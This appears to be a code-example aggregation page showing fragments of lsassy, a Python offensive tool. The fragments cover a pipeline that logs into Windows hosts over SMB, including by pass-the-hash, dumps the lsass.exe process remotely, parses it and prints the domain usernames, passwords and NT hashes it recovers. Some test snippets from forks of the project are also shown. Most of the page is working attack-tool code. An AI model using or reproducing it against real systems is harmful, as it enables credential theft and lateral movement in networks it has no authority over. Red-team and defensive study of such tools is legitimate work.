예제 #1
0
파일: core.py 프로젝트: shad0w008/lsassy
    def __init__(self,
                 hostname,
                 username,
                 domain="",
                 password="",
                 lmhash="",
                 nthash="",
                 log_options=Logger.Options(),
                 dump_options=Dumper.Options(),
                 parse_options=Parser.Options(),
                 write_options=Writer.Options()):

        self.conn_options = ImpacketConnection.Options(hostname, domain,
                                                       username, password,
                                                       lmhash, nthash)
        self.log_options = log_options
        self.dump_options = dump_options
        self.parse_options = parse_options
        self.write_options = write_options

        self._target = hostname

        self._log = Logger(self._target, log_options)

        self._conn = None
        self._dumper = None
        self._parser = None
        self._dumpfile = None
        self._credentials = []
        self._writer = None
예제 #2
0
파일: tests.py 프로젝트: zhouzu/lsassy
 def setUp(self):
     self.log = Logger(Logger.Options(verbosity=0, quiet=True))
     self.conn = ImpacketConnection(
         ImpacketConnection.Options(target, domain, da_login, da_password))
     self.conn.set_logger(self.log)
     self.conn.login()
     self.ifile = ImpacketFile(self.conn, self.log)
예제 #3
0
 def get_credentials(self):
     self.log_options.quiet = True
     self.log_options.verbosity = False
     self._log = Logger(self._target, self.log_options)
     self.write_options.format = "none"
     self.run()
     return self._credentials
예제 #4
0
파일: tests.py 프로젝트: zshell/lsassy
 def setUp(self):
     self.log = Logger(Logger.Options(verbosity=0, quiet=True))
     self.conn = ImpacketConnection(
         ImpacketConnection.Options(ip_address_protected, domain, da_login,
                                    da_password))
     self.conn.set_logger(self.log)
     self.conn.login()
예제 #5
0
 def __init__(self, options: Options):
     self.options = options
     self.hostname = options.hostname
     self.domain_name = options.domain_name
     self.username = options.username
     self.password = options.password
     self.lmhash = options.lmhash
     self.nthash = options.nthash
     self.timeout = options.timeout
     self._log = Logger(self.hostname)
     self._conn = None
예제 #6
0
파일: core.py 프로젝트: shad0w008/lsassy
    def get_credentials(self):
        self.log_options.quiet = True
        self.log_options.verbosity = False
        self._log = Logger(self._target, self.log_options)
        self.write_options.format = "none"
        return_code = self.run()
        ret = {"success": True, "credentials": self._credentials}
        if not return_code.success():
            ret["success"] = False
            ret["error_code"] = return_code.error_code
            ret["error_msg"] = return_code.error_msg
            ret["error_exception"] = return_code.error_exception

        return ret
예제 #7
0
파일: writer.py 프로젝트: pyNpy/lsassy
    def get_output(self):
        output = ""

        if self._format == "json":
            json_output = {}
            for cred in self._credentials:
                ssp, domain, username, password, lmhash, nthash = cred

                domain = Writer._decode(domain)
                username = Writer._decode(username)
                password = Writer._decode(password)

                if domain not in json_output:
                    json_output[domain] = {}
                if username not in json_output[domain]:
                    json_output[domain][username] = []
                credential = {
                    "password": password,
                    "lmhash": lmhash,
                    "nthash": nthash
                }
                if credential not in json_output[domain][username]:
                    json_output[domain][username].append(credential)
            output = json.dumps(json_output) + "\n"
        elif self._format == "grep":
            credentials = set()
            for cred in self._credentials:
                credentials.add('\t'.join([Writer._decode(c) if c is not None else '' for c in cred]))
            output = "\n".join(cred for cred in credentials) + "\n"
        elif self._format == "pretty":
            if len(self._credentials) == 0:
                self._log.warn('No credentials found')
                output = "No credentials"
            else:
                max_size = max(len(c[1]) + len(c[2]) for c in self._credentials)
                credentials = []
                for cred in self._credentials:
                    ssp, domain, username, password, lmhash, nthash = cred
                    domain = Writer._decode(domain)
                    username = Writer._decode(username)
                    password = Writer._decode(password)
                    if password is None:
                        password = '******'.join(h for h in [lmhash, nthash] if h is not None)
                    if [domain, username, password] not in credentials:
                        credentials.append([domain, username, password])
                        output += self._log.success(
                            "{}\\{}{}{}".format(
                                domain,
                                username,
                                " " * (max_size - len(domain) - len(username) + 2),
                                Logger.highlight(password)), output=False
                        ) + "\n"

        elif self._format == "none":
            pass
        else:
            return RetCode(ERROR_OUTPUT_FORMAT_INVALID, Exception("Output format {} is not valid".format(self._format)))

        return output
예제 #8
0
파일: core.py 프로젝트: shad0w008/lsassy
 def __init__(self, target):
     self.conn_options = ImpacketConnection.Options()
     self.log_options = Logger.Options()
     self.dump_options = Dumper.Options()
     self.parse_options = Parser.Options()
     self.write_options = Writer.Options()
     self.lsassy = None
     self.target = target
예제 #9
0
파일: tests.py 프로젝트: zhouzu/lsassy
 def setUp(self):
     log_options = Logger.Options(verbosity=0, quiet=True)
     write_options = Writer.Options(format="none")
     self.lsassy = Lsassy(target,
                          da_login,
                          domain,
                          da_password,
                          log_options=log_options,
                          write_options=write_options)
예제 #10
0
파일: core.py 프로젝트: shad0w008/lsassy
class Lsassy:
    def __init__(self,
                 hostname,
                 username,
                 domain="",
                 password="",
                 lmhash="",
                 nthash="",
                 log_options=Logger.Options(),
                 dump_options=Dumper.Options(),
                 parse_options=Parser.Options(),
                 write_options=Writer.Options()):

        self.conn_options = ImpacketConnection.Options(hostname, domain,
                                                       username, password,
                                                       lmhash, nthash)
        self.log_options = log_options
        self.dump_options = dump_options
        self.parse_options = parse_options
        self.write_options = write_options

        self._target = hostname

        self._log = Logger(self._target, log_options)

        self._conn = None
        self._dumper = None
        self._parser = None
        self._dumpfile = None
        self._credentials = []
        self._writer = None

    def connect(self, options: ImpacketConnection.Options):
        self._conn = ImpacketConnection(options)
        self._conn.set_logger(self._log)
        login_result = self._conn.login()
        if not login_result.success():
            return login_result

        self._log.info("Authenticated")
        return RetCode(ERROR_SUCCESS)

    def dump_lsass(self, options=Dumper.Options()):
        is_admin = self._conn.isadmin()
        if not is_admin.success():
            self._conn.close()
            return is_admin

        self._dumper = Dumper(self._conn, options)
        dump_result = self._dumper.dump()
        if not dump_result.success():
            return dump_result
        self._dumpfile = self._dumper.getfile()

        self._log.info("Process lsass.exe has been dumped")
        return RetCode(ERROR_SUCCESS)

    def parse_lsass(self, options=Dumper.Options()):
        self._parser = Parser(self._dumpfile, options)
        parse_result = self._parser.parse()
        if not parse_result.success():
            return parse_result

        self._credentials = self._parser.get_credentials()
        self._log.info("Process lsass.exe has been parsed")
        return RetCode(ERROR_SUCCESS)

    def write_credentials(self, options=Writer.Options()):
        self._writer = Writer(self._target, self._credentials, self._log,
                              options)
        write_result = self._writer.write()
        if not write_result.success():
            return write_result

        return RetCode(ERROR_SUCCESS)

    def clean(self):
        if self._parser:
            r = self._parser.clean()
            if not r.success():
                lsassy_warn(self._log, r)

        if self._dumper:
            r = self._dumper.clean()
            if not r.success():
                lsassy_warn(self._log, r)

        if self._conn:
            r = self._conn.clean()
            if not r.success():
                lsassy_warn(self._log, r)

        self._log.info("Cleaning complete")

    def get_credentials(self):
        self.log_options.quiet = True
        self.log_options.verbosity = False
        self._log = Logger(self._target, self.log_options)
        self.write_options.format = "none"
        return_code = self.run()
        ret = {"success": True, "credentials": self._credentials}
        if not return_code.success():
            ret["success"] = False
            ret["error_code"] = return_code.error_code
            ret["error_msg"] = return_code.error_msg
            ret["error_exception"] = return_code.error_exception

        return ret

    def run(self):
        return_code = ERROR_UNDEFINED
        try:
            return_code = self._run()
        except KeyboardInterrupt as e:
            print("")
            self._log.warn("Quitting gracefully...")
            return_code = RetCode(ERROR_USER_INTERRUPTION)
        except Exception as e:
            return_code = RetCode(ERROR_UNDEFINED, e)
        finally:
            self.clean()
            lsassy_exit(self._log, return_code)
            return return_code

    def _run(self):
        """
        Extract hashes from arguments
        """

        r = self.connect(self.conn_options)
        if not r.success():
            return r
        r = self.dump_lsass(self.dump_options)
        if not r.success():
            return r
        r = self.parse_lsass(self.parse_options)
        if not r.success():
            return r
        r = self.write_credentials(self.write_options)
        if not r.success():
            return r
        return RetCode(ERROR_SUCCESS)
예제 #11
0
파일: tests.py 프로젝트: zhouzu/lsassy
 def setUp(self):
     self.log = Logger(Logger.Options(verbosity=0, quiet=True))
     self.conn = None
예제 #12
0
class ImpacketConnection:
    class Options:
        def __init__(self,
                     hostname="",
                     domain_name="",
                     username="",
                     password="",
                     lmhash="",
                     nthash="",
                     kerberos=False,
                     aesKey="",
                     dc_ip=None,
                     timeout=5):
            self.hostname = hostname
            self.domain_name = domain_name
            self.username = username
            self.password = password
            self.lmhash = lmhash
            self.nthash = nthash
            self.timeout = timeout
            self.kerberos = kerberos
            self.aesKey = aesKey
            self.dc_ip = dc_ip

    def __init__(self, options: Options):
        self.options = options
        self.hostname = options.hostname
        self.domain_name = options.domain_name
        self.username = options.username
        self.password = options.password
        self.lmhash = options.lmhash
        self.nthash = options.nthash
        self.kerberos = options.kerberos
        self.aesKey = options.aesKey
        self.dc_ip = options.dc_ip
        self.timeout = options.timeout
        self._log = Logger(self.hostname)
        self._conn = None

    def get_logger(self):
        return self._log

    def set_logger(self, logger):
        self._log = logger

    def login(self):
        try:
            ip = list({
                addr[-1][0]
                for addr in getaddrinfo(self.hostname, 0, 0, 0, 0)
            })[0]
            if ip != self.hostname:
                self._log.debug("Host {} resolved to {}".format(
                    self.hostname, ip))
        except gaierror as e:
            return RetCode(ERROR_DNS_ERROR, e)

        try:
            self._conn = SMBConnection(self.hostname, ip, timeout=self.timeout)
        except Exception as e:
            return RetCode(ERROR_CONNECTION_ERROR, e)

        username = ''
        if not self.kerberos:
            username = self.username.split("@")[0]
            self._log.debug("Authenticating against {}".format(ip))
        else:
            self._log.debug("Authenticating against {}".format(self.hostname))

        try:
            if not self.kerberos:
                self._conn.login(username,
                                 self.password,
                                 domain=self.domain_name,
                                 lmhash=self.lmhash,
                                 nthash=self.nthash,
                                 ntlmFallback=True)
            else:
                self._conn.kerberosLogin(username,
                                         self.password,
                                         domain=self.domain_name,
                                         lmhash=self.lmhash,
                                         nthash=self.nthash,
                                         aesKey=self.aesKey,
                                         kdcHost=self.dc_ip)

        except SessionError as e:
            self._log.debug("Provided credentials : {}\\{}:{}".format(
                self.domain_name, username, self.password))
            return RetCode(ERROR_LOGIN_FAILURE, e)
        except KerberosException as e:
            self._log.debug("Kerberos error")
            return RetCode(ERROR_LOGIN_FAILURE, e)
        except Exception as e:
            return RetCode(ERROR_UNDEFINED, e)
        return RetCode(ERROR_SUCCESS)

    def connectTree(self, share_name):
        return self._conn.connectTree(share_name)

    def openFile(self, tid, fpath, timeout: int = 3):
        self._log.debug("Opening file {}".format(fpath))

        start = time.time()

        while True:
            try:
                fid = self._conn.openFile(tid,
                                          fpath,
                                          desiredAccess=FILE_READ_DATA)
                self._log.debug("File {} opened".format(fpath))
                return fid
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0 or str(e).find(
                        'STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
                    # Output not finished, let's wait
                    if time.time() - start > timeout:
                        raise (Exception(e))
                    time.sleep(1)
                else:
                    raise Exception(e)

    def queryInfo(self, tid, fid):
        while True:
            try:
                info = self._conn.queryInfo(tid, fid)
                return info
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    # Output not finished, let's wait
                    time.sleep(2)
                else:
                    raise Exception(e)

    def getFile(self, share_name, path_name, callback):
        while True:
            try:
                self._conn.getFile(share_name, path_name, callback)
                break
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    # Output not finished, let's wait
                    time.sleep(2)
                else:
                    raise Exception(e)

    def deleteFile(self, share_name, path_name):
        while True:
            try:
                self._conn.deleteFile(share_name, path_name)
                self._log.debug("File {} deleted".format(path_name))
                break
            except Exception as e:
                if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
                    time.sleep(2)
                else:
                    raise Exception(e)

    def putFile(self, share_name, path_name, callback):
        try:
            self._conn.putFile(share_name, path_name, callback)
            self._log.debug("File {} uploaded".format(path_name))
        except Exception as e:
            raise Exception(
                "An error occured while uploading %s on %s share : %s" %
                (path_name, share_name, e))

    def readFile(self, tid, fid, offset, size):
        return self._conn.readFile(tid, fid, offset, size, singleCall=False)

    def closeFile(self, tid, fid):
        return self._conn.closeFile(tid, fid)

    def disconnectTree(self, tid):
        return self._conn.disconnectTree(tid)

    def isadmin(self):
        try:
            self.connectTree("C$")
            return RetCode(ERROR_SUCCESS)
        except Exception as e:
            return RetCode(ERROR_ACCESS_DENIED, e)

    def close(self):
        if self._conn is not None:
            self._log.debug("Closing Impacket connection")
            self._conn.close()

    def clean(self):
        try:
            self.close()
            return RetCode(ERROR_SUCCESS)
        except Exception as e:
            return RetCode(ERROR_CONNECTION_CLEANING, e)
예제 #13
0
    def write(self):
        if self._file:
            ret = self.write_file()
            if not ret.success():
                lsassy_warn(self._log, ret)
            else:
                self._log.info("Credentials saved to {}".format(self._file))

        if self._format == "json":
            json_output = {}
            for cred in self._credentials:
                ssp, domain, username, password, lmhash, nthash = cred

                domain = Writer._decode(domain)
                username = Writer._decode(username)
                password = Writer._decode(password)

                if domain not in json_output:
                    json_output[domain] = {}
                if username not in json_output[domain]:
                    json_output[domain][username] = []
                credential = {
                    "password": password,
                    "lmhash": lmhash,
                    "nthash": nthash
                }
                if credential not in json_output[domain][username]:
                    json_output[domain][username].append(credential)
            print(json.dumps(json_output), end='')
        elif self._format == "grep":
            credentials = set()
            for cred in self._credentials:
                credentials.add('\t'.join([Writer._decode(c) if c is not None else '' for c in cred]))
            for cred in credentials:
                print(cred)
        elif self._format == "pretty":
            if len(self._credentials) == 0:
                self._log.warn('No credentials found')
                return RetCode(ERROR_NO_CREDENTIAL_FOUND)

            max_size = max(len(c[1]) + len(c[2]) for c in self._credentials)
            credentials = []
            for cred in self._credentials:
                ssp, domain, username, password, lmhash, nthash = cred
                domain = Writer._decode(domain)
                username = Writer._decode(username)
                password = Writer._decode(password)
                if password is None:
                    password = '******'.join(h for h in [lmhash, nthash] if h is not None)
                if [domain, username, password] not in credentials:
                    credentials.append([domain, username, password])
                    self._log.success(
                        "{}\\{}{}{}".format(
                            domain,
                            username,
                            " " * (max_size - len(domain) - len(username) + 2),
                            Logger.highlight(password))
                    )

        elif self._format == "none":
            pass
        else:
            return RetCode(ERROR_OUTPUT_FORMAT_INVALID, Exception("Output format {} is not valid".format(self._format)))

        return RetCode(ERROR_SUCCESS)